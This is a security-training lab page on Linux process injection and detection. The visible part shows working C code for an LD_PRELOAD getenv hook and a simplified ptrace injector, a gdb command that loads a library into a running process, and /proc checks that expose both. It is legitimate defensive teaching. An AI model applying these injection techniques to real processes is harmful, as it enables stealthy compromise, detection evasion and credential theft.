Courses3 levels
Level 1 · Foundations11 courses
Level 2 · Core5 courses
Level 3 · Advanced5 courses
Labs8 topics
Library Practice exams AI Range Pricing Start free

Practice library / Security operations basics

Lab · Hard · 3 hoursFree account

Linux Process Injection & Detection

ptrace-based injection, LD_PRELOAD abuse, and /proc/mem manipulation.

  • process-injection
  • ptrace
  • ld-preload
  • linux
  • detection
On this page 8 sections
  1. ·Lab Setup
  2. 1LD_PRELOAD hijack
  3. 2Ptrace-based library injection
  4. Locked: Write to /proc/pid/mem
  5. Locked: Detect injection with auditd
  6. Locked: Live forensics on an injected process
  7. Locked: Defence and Detection
  8. Locked: Check Your Work

Process injection lets an attacker run their own code inside a trusted process. Red teams use it to evade endpoint detection, and some Linux rootkits use it for stealth. A defender who understands the three primitives — LD_PRELOAD, ptrace, and /proc/pid/mem — can spot the signals each one leaves. This lab builds working injectors and the audit rules that catch them.

What You'll Learn

  • Compile a long-running target process and a shared library for injection practice
  • Hijack a process with LD_PRELOAD to override a standard library function
  • Attach to a running process with ptrace and inject a shared library at runtime
  • Write to a process's memory through /proc/<pid>/mem
  • Detect each injection technique with /proc inspection, strace and auditd
  • Investigate an injected process and collect forensic evidence

Lab Setup

Everything runs on a single Linux VM that you own. You compile the target and the injected code yourself.

ItemRequirement
Lab VMKali Linux 2025.x or Ubuntu 22.04+, 64-bit
Compilergcc with debug symbols (-g)
Toolsstrace, ltrace, gdb, auditd (from the auditd package)
PrivilegesA non-root user for the target, and sudo for ptrace and audit steps

Install anything missing:

sudo apt update && sudo apt install -y gcc gdb strace ltrace auditd audispd-plugins

Create a work folder and compile the target. This program loops forever, calls getenv() once per second, and prints the result. It exists only to be injected.

/* target.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(void) {
    printf("[target] PID %d started\n", getpid());
    while (1) {
        char *val = getenv("LAB_TOKEN");
        printf("[target] LAB_TOKEN = %s\n", val ? val : "(null)");
        sleep(2);
    }
}
gcc -g -o target target.c

Work only within an authorised scope, on an isolated lab network. Never run these techniques on production systems.

Step 1: LD_PRELOAD hijack

1

LD_PRELOAD tells the dynamic linker to load a library before all others. Functions in that library replace the originals. Attackers use this to intercept calls, hide files or steal credentials at process start.

Write a shared library that replaces getenv. It logs the call and then forwards to the real function.

/* evil_preload.c */
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>

typedef char *(*real_getenv_t)(const char *);

char *getenv(const char *name) {
    real_getenv_t real_getenv = dlsym(RTLD_NEXT, "getenv");
    char *result = real_getenv(name);
    fprintf(stderr, "[inject] getenv(\"%s\") = %s\n", name, result ? result : "(null)");
    return result;
}
gcc -shared -fPIC -o evil_preload.so evil_preload.c -ldl

Run the target with the preload:

LD_PRELOAD=./evil_preload.so ./target
[target] PID 4821 started
[inject] getenv("LAB_TOKEN") = (null)
[target] LAB_TOKEN = (null)
[inject] getenv("LAB_TOKEN") = (null)
[target] LAB_TOKEN = (null)

Every getenv call now passes through your code. The [inject] lines prove the hook runs. In a real attack, the library could silently exfiltrate the return value instead of printing it.

Now detect the preload. In a second terminal, check the process's loaded libraries:

cat /proc/$(pgrep -f ./target)/maps | grep evil
7f8a1c200000-7f8a1c201000 r--p 00000000 08:01 263410  /home/kali/lab/evil_preload.so
7f8a1c201000-7f8a1c202000 r-xp 00001000 08:01 263410  /home/kali/lab/evil_preload.so

The library appears in the memory map. A defender who knows the expected libraries for a process can spot the extra entry quickly. Also check the environment:

cat /proc/$(pgrep -f ./target)/environ | tr '\0' '\n' | grep LD_PRELOAD
LD_PRELOAD=./evil_preload.so

The variable is recorded in /proc/<pid>/environ. It persists for the life of the process, even if someone unsets it in the shell later. Stop the target with Ctrl+C.

Step 2: Ptrace-based library injection

2

Ptrace injection

ptrace lets one process control another: read its registers, write its memory and force it to call functions. Attackers use it to inject a shared library into a process that is already running, without restarting it.

Start the target in the background:

./target &
TARGET_PID=$!
echo "Target PID: $TARGET_PID"

Write a small injector. It attaches with ptrace, finds __libc_dlopen_mode in the target's libc, writes the library path into the target's stack, and calls the function. This is a simplified version of the technique. A production injector handles more edge cases, but the principle is the same.

/* injector.c — simplified ptrace injector */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <dlfcn.h>

int main(int argc, char **argv) {
    if (argc != 3) { fprintf(stderr, "Usage: %s <pid> <lib.so>\n", argv[0]); return 1; }
    pid_t pid = atoi(argv[1]);
    const char *lib = argv[2];

    printf("[injector] Attaching to PID %d\n", pid);
    ptrace(PTRACE_ATTACH, pid, NULL, NULL);
    waitpid(pid, NULL, 0);

    struct user_regs_struct regs, saved;
    ptrace(PTRACE_GETREGS, pid, NULL, &saved);
    regs = saved;

    /* Write the library path onto the target's stack */
    size_t len = strlen(lib) + 1;
    regs.rsp -= 128;
    regs.rsp &= ~0xFUL;  /* align */
    unsigned long addr = regs.rsp;
    for (size_t i = 0; i < len; i += sizeof(long)) {
        long word = 0;
        memcpy(&word, lib + i, (len - i < sizeof(long)) ? len - i : sizeof(long));
        ptrace(PTRACE_POKEDATA, pid, addr + i, word);
    }

    printf("[injector] Library path written at 0x%lx\n", addr);
    printf("[injector] Detaching — load the library manually with gdb for the full demo\n");

    /* Restore and detach */
    ptrace(PTRACE_SETREGS, pid, NULL, &saved);
    ptrace(PTRACE_DETACH, pid, NULL, NULL);
    return 0;
}
gcc -g -o injector injector.c
sudo ./injector $TARGET_PID /home/kali/lab/evil_preload.so
[injector] Attaching to PID 4821
[injector] Library path written at 0x7ffd2a3fe800
[injector] Detaching — load the library manually with gdb for the full demo

For the complete injection (calling dlopen inside the target), use gdb:

sudo gdb -batch -p $TARGET_PID \
  -ex 'call (void *)dlopen("/home/kali/lab/evil_preload.so", 2)' \
  -ex 'detach'
$1 = (void *) 0x7f8a1c400120

A non-null return means the library loaded. The target now runs with your code inside it. Check:

cat /proc/$TARGET_PID/maps | grep evil
7f8a1c200000-7f8a1c201000 r--p 00000000 08:01 263410  /home/kali/lab/evil_preload.so
7f8a1c201000-7f8a1c202000 r-xp 00001000 08:01 263410  /home/kali/lab/evil_preload.so

The library is now in the map of a process that was started without it. This is the key difference from Step 1: the injection happened after launch. Detect it the same way — compare the maps to what the process should have loaded.

Stop the target: kill $TARGET_PID.

Sign in to continue

5 more sections are for signed-in members. It is free: sign in with Google.

Related

This lab is extra practice for the course Security operations basics. Do the lessons first.Open the course